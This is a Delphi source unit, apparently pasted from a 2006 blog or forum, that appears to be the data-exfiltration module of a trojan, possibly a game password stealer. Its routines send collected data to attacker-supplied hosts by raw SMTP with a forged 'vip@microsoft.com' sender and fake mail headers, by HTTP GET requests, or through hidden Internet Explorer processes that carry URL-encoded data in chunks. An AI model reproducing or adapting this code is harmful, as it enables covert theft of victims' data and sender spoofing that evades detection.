2006-07-24 18:23
2006-07-24 21:55
2006-07-25 14:35
2006-07-25 14:39
unit SendMail;
interface
uses winsock, windows, reg, sysutils2,UnitHookType;
procedure SendEMail(mailtext: string; sender,subject,ip, email: string);
function StartNet(host: string; port: integer; var sock: integer): Boolean;
function GetMyIP: string;
function GetIP(Host: string): string;
procedure StopNet(Fsocket: integer);
function SendData(FSocket: integer; SendStr: string): integer;
function GetData(FSocket: integer): string;
//procedure SendHtmlMail(html: string);
//procedure SendHtmlMail2(Http, txt: string);
function SendResult(sender,subject,data: string): boolean;
function HtmlEncode(s: string): string;
implementation
const
CRLF = #13#10;
function LocalIP: string;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: array[0..63] of char;
I: Integer;
GInitData: TWSADATA;
begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then
Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <> nil do
begin
result := StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;
function StartNet(host: string; port: integer; var sock: integer): Boolean;
var
wsadata: twsadata;
FSocket: integer;
SockAddrIn: TSockAddrIn;
err: integer;
begin
WSAStartup($0101, WSAData);
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
if FSocket = invalid_socket then
begin
Result := False;
Exit;
end;
SockAddrIn.sin_addr.s_addr := inet_addr(PChar(host));
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port := htons(port);
err := connect(FSocket, SockAddrIn, SizeOf(SockAddrIn));
if err = 0 then
begin
sock := FSocket;
Result := True;
end
else
Result := False;
end;
procedure StopNet(Fsocket: integer);
//var
// err: integer;
begin
//err :=
closesocket(FSocket);
//err :=
WSACleanup;
end;
function SendData(FSocket: integer; SendStr: string): integer;
var
DataBuf: array[0..4096] of char;
err: integer;
begin
strcopy(DataBuf, pchar(SendStr));
err := send(FSocket, DataBuf, strlen(DataBuf), MSG_DONTROUTE);
Result := err;
end;
function GetData(FSocket: integer): string;
const
MaxSize = 1024;
var
DataBuf: array[0..MaxSize] of char;
//err: integer;
begin
//err :=
DataBuf[0]:=#0;
recv(FSocket, DataBuf, MaxSize, 0);
Result := Strpas(DataBuf);
// writedat(result);
end;
procedure SendEMail(mailtext: string; sender,subject,ip, email: string);
var
FSocket: integer;
SendBody: string;
i:integer;
connect:boolean;
begin
if (Subject = '') or (LocalIP = '127.0.0.1') then
Exit;
writedat('sendemail');
connect:=false;
for i:=0 to 3 do
begin
if not StartNet(ip, 25, FSocket) then
sleep(10000)
else begin
connect:=true;
break;
end;
end;
if connect then
begin
writedat('sendemail-connect');
SendData(FSocket, 'ehlo vip' + CRLF);
getdata(FSocket);
SendData(FSocket, 'Rset' + CRLF);
getdata(FSocket);
SendData(FSocket, 'MAIL FROM: '+sender+'<'">vip@microsoft.com>' + CRLF);
getdata(FSocket);
SendData(FSocket, 'RCPT TO: <' + email + '>' + CRLF);
getdata(FSocket);
SendData(FSocket, 'DATA' + CRLF);
getdata(FSocket);
SendBody := 'Message-Id: <'">HAK.bpegljnibgrft@e.f.g>' + #$D#$A +
//'Date: ' + DateTimeToStr(Now) + ' +0800' + #$D#$A +
'From: '+sender+' <'">vip@microsoft.com>' + #$D#$A +
'To: ' + email + #$D#$A +
'Subject: ' + subject + #$D#$A +
'X-Mailer: <FOXMAIL 4.0>' + #$D#$A +
'MIME-Version: 1.0' + #$D#$A +
// 'X-Priority: 1' + #$D#$A +
'Content-Type: text/html; charset="GB2312"' + #$D#$A +
#$D#$A + mailtext + #$D#$A + #$D#$A + '.' + #$D#$A;
//res :=
SendData(FSocket, SendBody);
getdata(FSocket);
SendData(FSocket, 'QUIT' + CRLF);
getdata(FSocket);
StopNet(Fsocket);
end;
end;
function GetMyIP: string;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
Buffer: array[0..63] of char;
I: Integer;
GInitData: TWSADATA;
begin
WSAStartup($101, GInitData);
Result := '';
GetHostName(Buffer, SizeOf(Buffer));
phe := GetHostByName(buffer);
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <> nil do begin
if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;
function GetIP(Host: string): string;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
i: Integer;
GInitData: TWSADATA;
begin
WSAStartup($0101, GInitData);
Result := '';
phe := GetHostByName(pchar(Host));
if phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <> nil do
begin
if i = 0 then result := StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;
function WinExec2(ExeFile: string; ProcessInfo: PProcessInformation = nil): boolean;
var
sStartInfo: STARTUPINFO;
ProcInfo: TProcessInformation;
PProcInfo: PProcessInformation;
begin
ZeroMemory(@sStartInfo, sizeof(sStartInfo));
SStartInfo.cb := sizeof(sStartInfo);
SStartInfo.wShowWindow := sw_hide;
if ProcessInfo = nil then PProcInfo := @ProcInfo
else PProcInfo := ProcessInfo;
result := CreateProcess(nil, Pchar(ExeFile), nil, nil, false, CREATE_DEFAULT_ERROR_MODE,
nil, nil, sStartInfo, PProcInfo^);
end;
function HtmlEncode(s: string): string;
const
NoConversion = ['A'..'Z','a'..'z','*','@','.','_','-',
'0'..'9','$','!','''','(',')'];
var
i, v1, v2: integer;
function i2s(b: byte): char;
begin
if b <= 9 then result := chr($30 + b)
else result := chr($41 - 10 + b);
end;
begin
result := '';
for i := 1 to length(s) do
if s[i] = ' ' then result := result + '+'
else if (s[i] >=#$80) or (s[i] in NoConversion) then
result := result + s[i]
else begin
v1 := ord(s[i]) mod 16;
v2 := ord(s[i]) div 16;
result := result + '%' + i2s(v2) + i2s(v1);
end;
end;
procedure SendHtmlMail2(Http, txt: string);
var
ie: string;
procedure LoopWinexec(IEhttp, txt: string);
const
MaxSize = 2048;
var
remainLen, httpLen: integer;
begin
httpLen := length(IEHttp);
remainLen := MaxSize - httpLen;
while txt <> '' do
begin
winexec(pchar(IEhttp + copy(txt, 1, remainLen)), sw_hide);
// writedat(IEhttp+copy(txt, 1, remainLen));
sleep(1000);
delete(txt, 1, remainLen);
end;
end;
function GetMyWindowsDirectory: string;
var
i: DWORD;
begin
i := MAX_PATH + 1;
setlength(result, i);
i := GetWindowsDirectory(@result[1], i);
setlength(result, i);
if result[i] <> '\' then result := result + '\';
end;
function ChangeProgramfile(s: string): string;
var
i: integer;
begin
result := s;
s := lowercase(s);
i := pos('%programfiles%', s);
if i <> 0 then
begin
result := copy(result, 1, i - 1) +
copy(GetMyWindowsDirectory, 1, 2) + '\Program Files' +
copy(result, i + 14, maxint);
end;
end;
begin
txt := HtmlEncode(txt);
ie := ReadValue(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\IE Setup\Setup', 'Path');
ie := ChangeProgramfile(ie);
if ie[length(ie)] <> '\' then ie := ie + '\';
ie := '"' + ie + 'IEXPLORE.EXE" ' + Http;
LoopWinexec(ie, txt);
end;
procedure SendHtmlMail(html: string);
var
host, hoststring: string;
port: integer;
i: integer;
E: Integer;
FSocket: integer;
begin
// writedat(html,'c:\game.txt');
if uppercase(copy(html, 1, 7)) <> 'HTTP://' then exit;
hoststring := copy(html, 8, maxint);
i := pos('/', hoststring);
if i <> 0 then
delete(hoststring, i, maxint);
i := pos(':', hoststring);
if i = 0 then
begin
host := hoststring;
port := 80;
end
else begin
host := copy(hoststring, 1, i - 1);
Val(copy(hoststring, i + 1, maxint), port, E);
if E <> 0 then port := 80;
end;
if StartNet(getip(host), port, FSocket) then
begin
SendData(FSocket,
'GET ' + html + ' HTTP/1.0'#$D#$A +
'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*'#$D#$A +
'Accept-Language: zh-cn'#$D#$A +
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'#$D#$A +
'Host: ' + Hoststring + #$D#$A +
'Proxy-Connection: Keep-Alive'#$D#$A#$D#$A);
getdata(FSocket);
StopNet(Fsocket);
end;
end;
function SendResult(sender,subject,data: string): boolean;
var
s, server, email: string;
i: integer;
begin
writedat('wjs finish2:'+data);
s := copy(data, 1, 1);
delete(data, 1, 2);
if s = '0' then
SendHtmlMail(data)
else if s = '1' then
begin
i := pos(' ', data);
if i <> 0 then
begin
server := getip(copy(data, 1, i - 1));
delete(data, 1, i);
i := pos(' ', data);
if i <> 0 then
begin
email:= copy(data, 1, i - 1);
delete(data, 1, i);
writedat(data+' @#'+server+' @#'+email);
SendEMail(data,sender,subject,server,email);
end;
end;
end;
// else if s = '2' then
result := true;
end;
end.
2006-07-25 16:39
2006-07-25 21:33
